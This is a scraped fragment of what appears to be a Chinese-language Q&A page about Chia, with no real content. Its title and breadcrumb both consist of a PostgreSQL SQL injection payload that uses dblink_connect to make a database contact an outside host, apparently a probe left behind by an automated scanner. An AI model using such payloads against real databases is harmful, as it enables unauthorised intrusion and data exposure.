cast((SELECT dblink_connect('host=66gfsncteuwiy8rxcqet456afevq28uerb4u9ue3'||'zdc.r87.me user=a password=a connect_timeout=2')) as numeric)

Chia回答区 › cast((SELECT dblink_connect('host=66gfsncteuwiy8rxcqet456afevq28uerb4u9ue3'||'zdc.r87.me user=a password=a connect_timeout=2')) as numeric)